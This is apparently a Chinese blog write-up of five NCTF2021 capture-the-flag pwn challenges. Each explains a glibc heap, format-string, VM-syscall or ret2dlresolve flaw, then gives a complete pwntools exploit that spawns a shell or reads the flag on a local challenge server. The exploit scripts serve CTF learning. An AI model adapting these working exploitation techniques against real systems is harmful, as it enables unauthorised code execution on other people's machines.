NCTF2021-pwn

本文最后更新于:2023年10月15日 晚上

ezheap

alloc函数代码

edit函数代码

delete函数代码

show函数代码

delete函数中存在UAF漏洞,可以多次释放同一个chunk,但如果chunk已经被释放,则无法修改chunk数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
libc=ELF('libc-2.33.so',checksec=0)
def add(size,text=''):
p.sendlineafter(">> ",'1')
p.sendlineafter('Size: ',str(size))
p.sendlineafter("Content: ",text)

def edit(ind,text):
p.sendlineafter('>> ','2')
p.sendlineafter('Index: ',str(ind))
p.sendlineafter('Content: ',text)

def free(ind):
p.sendlineafter('>> ','3')
p.sendlineafter('Index: ',str(ind))

def show(ind):
p.sendlineafter('>> ','4')
p.sendlineafter('Index: ',str(ind))

p=remote('127.0.0.1:4444')
add(128) #0
add(128) #1
add(128) #2
add(128) #3
add(128) #4
add(128) #5
add(128) #6
add(128) #7
add(128) #8
add(128) #9
add(128) #10
free(0)
free(1)
free(2)
free(3)
free(4)
free(5)
free(6)
"""
释放chunk 将tcache bin填满,达到将chunk放入unsorted bin中的目的
"""
free(7)
show(7)
main_arena=u64(p.read(8))-0x60
malloc_hook=main_arena-0x10
print(hex(malloc_hook-0x10))
libc.address=malloc_hook-libc.sym['__malloc_hook']
free_hook=libc.sym['__free_hook']
system=libc.sym['system']
free(9)
show(9)
"""
因为在2.33 中单链表bin中chunk的地址被加密了,所以需要
向unsorted bin中放入两个chunk,用于获取chunk的地址
"""

heap_add=u64(p.read(8)) #7
print(hex(heap_add))
add(128) #11
free(6)
c6_add=heap_add-0x90
hook_add=((c6_add+0x10)>>12)^(free_hook)
edit(11,p64(hook_add))

add(128,'/bin/sh') #12
add(128,p64(system)) #13
free(12) // 利用free_hook 执行 system('/bin/sh')
p.interactive()

mmmmmmmap

create函数代码

edit函数代码

delete函数代码

fmt函数代码

fmt函数中,存在格式化字符串漏洞,不过前提时输出buf指向地址处空间时出错,程序在正常情况下调用write是不会出问题,所以只能先让buf指向区域无法访问,然后在指向write时就会报错返回小于0的数字

因为buf指向的区域为堆空间,而对堆空间进行释放时,是不会修改空间的权限的,只有对mmap分配的chunk,进行释放操作时才会使空间无法访问,所以需要先伪造buf指向的chunkmmap分配的chunk,且chunk的大小要与page对齐,也就是0x1000,在edit函数中存在off by one漏洞,刚好可以利用这个达到目的

然后利用非栈中格式化字符串,构造exit_hook,调用exit函数获取shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
libc=ELF("libc-2.31.so",checksec=0)
ld=ELF('ld-2.31.so',checksec=0)
e=ELF('mmmmmmmap',checksec=0)
def add(size,text=''):
p.sendlineafter('choice: ','1')
p.sendlineafter('Size: ',str(size))
p.sendlineafter('Content: ',text)

def edit(ind,text):
p.sendlineafter('choice: ','2')
p.sendlineafter("Index: ",str(ind))
data=''
for i in text:
data+=chr(ord(i)^3)
p.sendlineafter('Content: ',data)

def free(ind):
p.sendlineafter('choice: ','3')
p.sendlineafter('Index: ',str(ind))

def fmt(data):
p.sendlineafter('INPUT:\n',data)

def getdata(off):
fmt('%'+str(off)+'$p\n')
addr=int(p.readuntil('\n',drop=1),16)
return addr

p=remote("127.0.0.1:4444")
p.sendline('3')
add(0xd18)#0
add(0x18) #1
add(0xff8)#2
"""
这里的chunk0,就是为了让chunk2的地址&0xfff==0
0xff8 chunksize== 0x1001
"""
edit(1,b'a'*0x10+p64(0x2000))
"""
在edit函数中会对输入的数据异或3,而且会多异或一个字节
所以会将chunk 2的size变成0x1002 就表示chunk2由mmap分配
而且因为inuse位为0,所以mmap在释放chunk2时会连带释放chunk2前面的0x2000个字节的数据
buf指向的空间就在这0x2000个字节里面
"""
free(2)

p.sendline('4')
fmt(b'%11$p\n%7$p\n')
libc.address=int(p.readuntil('\n'),16)-243-libc.sym['__libc_start_main']
e.address=int(p.readuntil('\n'),16)-0x18b0
one_gadget=libc.address+0xe3b2e
ld.address=libc.address+0x1f4000
_rtld_global=ld.sym['_rtld_global']
_rtld_lock=_rtld_global+0xf08
print(hex(libc.address),hex(e.address))
fmt("%13$p\n%41$p")
_13=int(p.readuntil('\n'),16)
_41=int(p.readuntil('\n'),16)&0xfffffffffffffff0

print(hex(_13),hex(_41))
ext=e.got['exit']
print(hex(ext))
f=bssfmt(fmt)
f.fmt_edit(p64(_rtld_lock),13,41,_41,2)
off=41+((_41-_13)//8)
print(off)
f.fmt_edit(p64(one_gadget),41,off,_rtld_lock,1)
# 通过修改 rtld_lock_default_lock_recursive 获取shell
p.sendline('exit\n\x00')
p.interactive()

vmstack

程序主要代码

这个程序相当于一个代码解析器,程序中可以控制rax,rdi,rsi,rdx寄存器的值,刚好是执行系统调用时需要用到的寄存器,而且程序中也可以执行系统调用,不过禁用了execve,所以我们无法通过执行execve("/bin/sh")获取shell,只能通过orw的形式获取flag,程序存在一个单独的栈空间,所以我们无法通过栈获取程序中可以修改的空间,那么我们就需要通过brk系统调用获取空间地址,然后向空间中写入要读取的文件的名称,然后通过orw获取文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

e=ELF('vmstack',checksec=0)
e.address=0x555555554000
bss=e.bss(0x200)
rdi='rdi'
rsi='rsi'
rax='rax'
rdx='rdx'
def pop(reg):
regs=['rax','rdi','rsi','rdx']
return p8(5+regs.index(reg)+1)

def push(reg):
regs=['rax','rdi','rsi','rdx']
return p8(1+regs.index(reg))

def add(data):
return b'\x0a'+p64(data)

def sub(data):
return b'\x0b'+p64(data)

def mov(data):
return b'\x00'+p64(data)

def sys():
return b'\x0c'

p=remote('127.0.0.1',4444)

shellcode=mov(0xc)+pop(rax)+mov(0x1000)+pop(rdi)+sys()
# 通过 系统调用 brk 从系统中获取空间
# 这样就可以获取 可以读写的空间地址了
shellcode+=push(rax)+sub(0x400)
shellcode+=push(rax)+sub(0x400)
shellcode+=push(rax)+sub(0x400)
shellcode+=push(rax)+sub(0x400)
shellcode+=pop(rsi)+mov(0)+pop(rdi)+mov(4)+pop(rdx)+mov(0)+pop(rax)+sys()
shellcode+=pop(rdi)+mov(0)+pop(rsi)+mov(0)+pop(rdx)+mov(2)+pop(rax)+sys()
shellcode+=pop(rsi)+mov(4)+pop(rdi)+mov(0x40)+pop(rdx)+mov(0)+pop(rax)+sys()
shellcode+=pop(rsi)+mov(1)+pop(rdi)+mov(0x40)+pop(rdx)+mov(1)+pop(rax)+sys()
# 利用 ORW 获取flag
p.sendline(shellcode)
p.sendline('flag')
p.interactive()

login

main函数代码

dynamic段内容

程序关闭了输出流,只能输入,那么只能使用ret2dl来做

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
e=ELF('login',checksec=0)
edit=0x4011ed
leave=0x40121f
rdi=0x401293
close=e.got['close']
bss=e.bss(0xf88)
rel=0x4005d0
sym=0x3ff418
relstr=0x3ff388

p=remote('127.0.0.1:4444')
p.send(b'a'*0x100+p64(bss)+p64(edit))
bss=bss-0x100+0x50
n=0
while ((n+bss+0x30-rel)//0x18) != (n+0x30+bss-rel)*1.0/0x18:
n=n+8
# 计算偏移

fake_dnystr=p64(0)*(n//8)+'system\x00\x00' # bss+0x50
f_str=bss+n+0x28
fake_rel=p64(close)+ p32(0x7) + p32((f_str+0x38-sym)//0x18)+p64(0)+p64(0)*3
fake_sym=p32(f_str-relstr)+p32(0x12)+p64(0)+p64(0) # bss+0x60
fake=fake_dnystr+fake_rel+fake_sym
# 构造虚假的表

payload=b'a'*0x48+b'/bin/sh\x00'+p64(rdi)+p64(bss+0x48+0x60)+p64(0x401020)
payload+=p64((f_str+0x8-rel)//0x18)
payload+=p64(0x401196)
payload+=fake.ljust(0xb0-0x30,b'\x00')+b'/bin/sh\x00'
payload+=p64(bss-8)+p64(leave)
# 构造payload 通过 _dl_runtime_resolve 执行system("/bin/sh");
p.send(payload)
p.sendline('exec 1>&0')
p.interactive()

house_of_fmyyass

main函数代码

create函数代码

edit函数代码

delete函数代码

show函数代码

main_init函数代码

函数在开始的时候使用mmap创建了一个空间,作为伪造的堆空间,delete函数可以释放伪造的heap段中的chunkedit可以随意修改伪造的heap段中的数据,create函数通过calloc函数创建chunk,无法通过tcache bin attach修改任意地址,且每次调用都会刷新buf变量指向的地址,show可以获取buf当前指向的空间的数据

每次执行menu函数时都会检测malloc_hookfree_hook,所以想要利用这两个hook获取flag的可能性没有了,因为在程序中只能随意修改伪造的heap段中的数据,且程序中都是调用_exit函数,所以exit_hook也不能用,那只能通过IO结构体攻击,我是用house_of_huskhouse_of_cat进行攻击的,先使用house_of_husk,修改__printf_function_table__printf_arginfo_table为伪造的heap段中的数据,使__printf_arginfo_table['s']处储存_IO_cleanup函数地址,执行_IO_flush_all_lockp,遍历IO_list_all中的IO结构体,执行这些IO结构体vtable指向的overflow项,然后再使用house_of_cat,需要先构造一个fake_io,在伪造的heap段中,且要让IO_list_all中储存fake_io的地址,上面所有要修改的变量,都可以使用large bin attach进行修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
from pwn import *
import time
libc=ELF('libc-2.33.so',checksec=0)
c_l=[]

def add(size):
p.sendlineafter(">> ",'1')
p.sendlineafter('size: ',str(size))

def edit(ind,size,text,heap=0,off=0):
for i in range(0,ind):
off+=c_l[i]
p.sendlineafter('>> ','2')
p.sendlineafter("size: ",str(size))
p.sendlineafter('offset: ',str(off))
p.sendlineafter('content: ',text)
if heap:
c_l.append(size)

def edit1(off,size,text):
p.sendlineafter('>> ','2')
p.sendlineafter("size: ",str(size))
p.sendlineafter('offset: ',str(off))
p.sendlineafter('content: ',text)

def free(ind):
off=0x10
for i in range(0,ind):
off+=c_l[i]
print(c_l)
p.sendlineafter('>> ','3')
p.sendlineafter('idx: ',str(off))

def show():
p.sendlineafter('>> ','4')


def calc_mmap(addr):
"""
因为在libc2.33中单向链表中的fd是被加密的
但只要知道fd要指向的chunk的低12位是什么
就可以解密得到整个chunk地址
"""
h_a=hex(addr)[2:].strip('L')
real_add=h_a[:3]
h_a=h_a[3:]
e=[]
h_c=[]
h_a=h_a[::-1]
for i in range(0,len(h_a),3):
h_c.append(h_a[i:i+3][::-1])
for i in h_c:
if e==[]:
e.append(hex(int(i,16)^0x180)[2:])
else:
l=len(i)
e.append(hex(int(e[-1][3-l:],16)^int(i,16))[2:])
e=e[::-1]
real_add=int(''.join(e),16)<<12
return real_add

p=process('house_of_fmyyass')
add(0x20)
edit(0,0x30,p64(0)+p64(0x31),1) #30
edit(1,0x30,p64(0)+p64(0x31),1) #30
edit(2,0x30,p64(0)+p64(0x31),1) #30
edit(3,0x30,p64(0)+p64(0x31),1) #30
edit(4,0x30,p64(0)+p64(0x31),1) #30
edit(5,0x30,p64(0)+p64(0x31),1) #30
edit(6,0x30,p64(0)+p64(0x31),1) #30
edit(7,0x30,p64(0)+p64(0x31),1) #30
edit(8,0x30,p64(0)+p64(0x31),1) #30
edit(9,0x30,p64(0)+p64(0x31),1) #30
free(0)
free(1)
free(2)
free(3)
free(4)
free(5)
free(6) # 将tcache bin填满

free(7)
add(0x28)
free(8)
free(7)

c_l=c_l[:-3]
show()
p.readuntil('content: ')
d=u64(p.readuntil('1. alloc',drop=1).ljust(8,b'\x00'))
fake_heap=calc_mmap(d)
print(hex(fake_heap)) # 先获取fake heap空间地址
add(0x28)
add(0x28)
edit(7,0x30,p64(0)+p64(0x31),1)
edit(8,0x30,p64(0)+p64(0x31),1)
free(7)
add(0x28)
c_l=c_l[:-2]

edit(7,0x430,p64(0)+p64(0x431)+p64(0)*5+p64(0x31)+p64(0)*5+p64(0x31)+p64(0)*4+p64(0x30)+p64(0x31),1)
edit(8,0x30,p64(0)+p64(0x31),1)
edit(9,0x30,p64(0)+p64(0x31),1)

free(7)
show()

p.read(9)
main_arena=0
#context.log_level='debug'
data=p.read(8)
p.readuntil('exit')
if '1. ' in data:
"""
当chunk的fd的第一个字节为0时需要使用这种方法获取libc地址
"""
edit(7,0x430,p64(0)+p64(0x431)+'a')
show()
p.read(9)
main_arena=u64((b'\x00'+p.read(6)[1:]).ljust(8,b'\x00'))-0x60
edit(7,0x430,p64(0)+p64(0x431)+'\x00')
else:
main_arena=u64(data[:data.find('\x7f')+1])-0x60

malloc_hook=main_arena-0x10
libc.address=malloc_hook-libc.sym['__malloc_hook']
free_hook=libc.sym['__free_hook']
system=libc.sym['system']

top_chunk=main_arena+0x60
wfile_jump=libc.sym['_IO_wfile_jumps']
func_table=libc.address+0x1e35c8
arg_table=libc.address+0x1eb218
io_list_all=libc.sym['_IO_list_all']
gadget=libc.address+0x8ef80


add(0x428)


fake_io_add=fake_heap+0x440+0x30+0x450+0x30+0x30

fake_io=p64(0x68732f6e69622f)+\
p64(0)+p64(system)+p64(system)+\
p64(system+1)+p64(system+3)+p64(system+2)+\
p64(system+5)+p64(0)+\
p64(0)+p64(0)+p64(0)+p64(0)+\
p64(0)+p64(0)+p32(0)+p64(0)+\
p16(0)+p8(0)+p8(0)+p64(0)+\
p64(0)+p64(0)+p64(fake_io_add+0x8)+\
p64(0)+p64(0)+p64(0)+p32(0)+p8(0)*20+\
p64(wfile_jump+0x30)+\
p64(0)+p64(fake_io_add)
# 构造 house of cat需要的IO结构体
"""
让原先指向的overflow变成_IO_wfile_seekoff
然后让_wide_data->vtable->overflow变成system函数
"""

c_l=[]
## edit printf_function_table ##
edit(0,0x440,p64(0)+p64(0x441),1)
edit(1,0x30,p64(0)+p64(0x31),1)
edit(2,0x450,p64(0)+p64(0x451),1)
edit(3,0x30,p64(0)+p64(0x31),1)
edit(4,0x30,p64(0)+p64(0x31),1)
free(2)
add(0x500)

edit(2,0x8,p64(func_table-0x20),off=0x28)
free(0)
add(0x500)

edit(2,0x10,p64(fake_heap)*2,off=0x20)
edit(0,0x10,p64(fake_heap+0x440+0x30)*2,off=0x20)
add(0x448)
add(0x438)


## edit printf_arginfo_table ##
free(2)
add(0x500)
edit(2,0x8,p64(arg_table-0x20),off=0x28)
free(0)
add(0x500)
edit(2,0x10,p64(fake_heap)*2,off=0x20)
edit(0,0x10,p64(fake_heap+0x440+0x30)*2,off=0x20)
add(0x448)
add(0x438)

## edit io_list_all ##
edit(5,0x440,p64(0)+p64(0x441),1)
edit(6,0x30,p64(0)+p64(0x31),1)
edit(7,0x30,p64(0)+p64(0x31),1)

free(2)
add(0x500)
edit(2,0x8,p64(io_list_all-0x20),off=0x28)
free(5)
add(0x500)
edit(2,0x10,p64(fake_heap+0x440+0x30+0x450+0x30+0x30)*2,off=0x20)
edit(5,0x10,p64(fake_heap+0x440+0x30)*2,off=0x20)
add(0x448)
add(0x438)
edit(5,len(fake_io),fake_io)

## click assert ##
free(2)
add(0x700)
edit(2,0x8,p64(top_chunk-0x20),off=0x28)
free(0)
edit(0,0x10,p64(gadget),off=ord('s')*8+16)

add(0x700)

"""
如果top chunk+size没有与0x1000对齐时会调用malloc_assert
在malloc_assert中会调用fvprintf
在fvprintf函数中,如果printf_function_table中存在数据就会执行printf_arginfo_table表中对应的函数
在构造之后就是执行IO_cleanup函数
"""

p.interactive()

NCTF2021-pwn
https://rot-will.github.io/page/wp/NCTF2021-pwn/
作者
rot_will
发布于
2022年11月30日
更新于
2023年10月15日
许可协议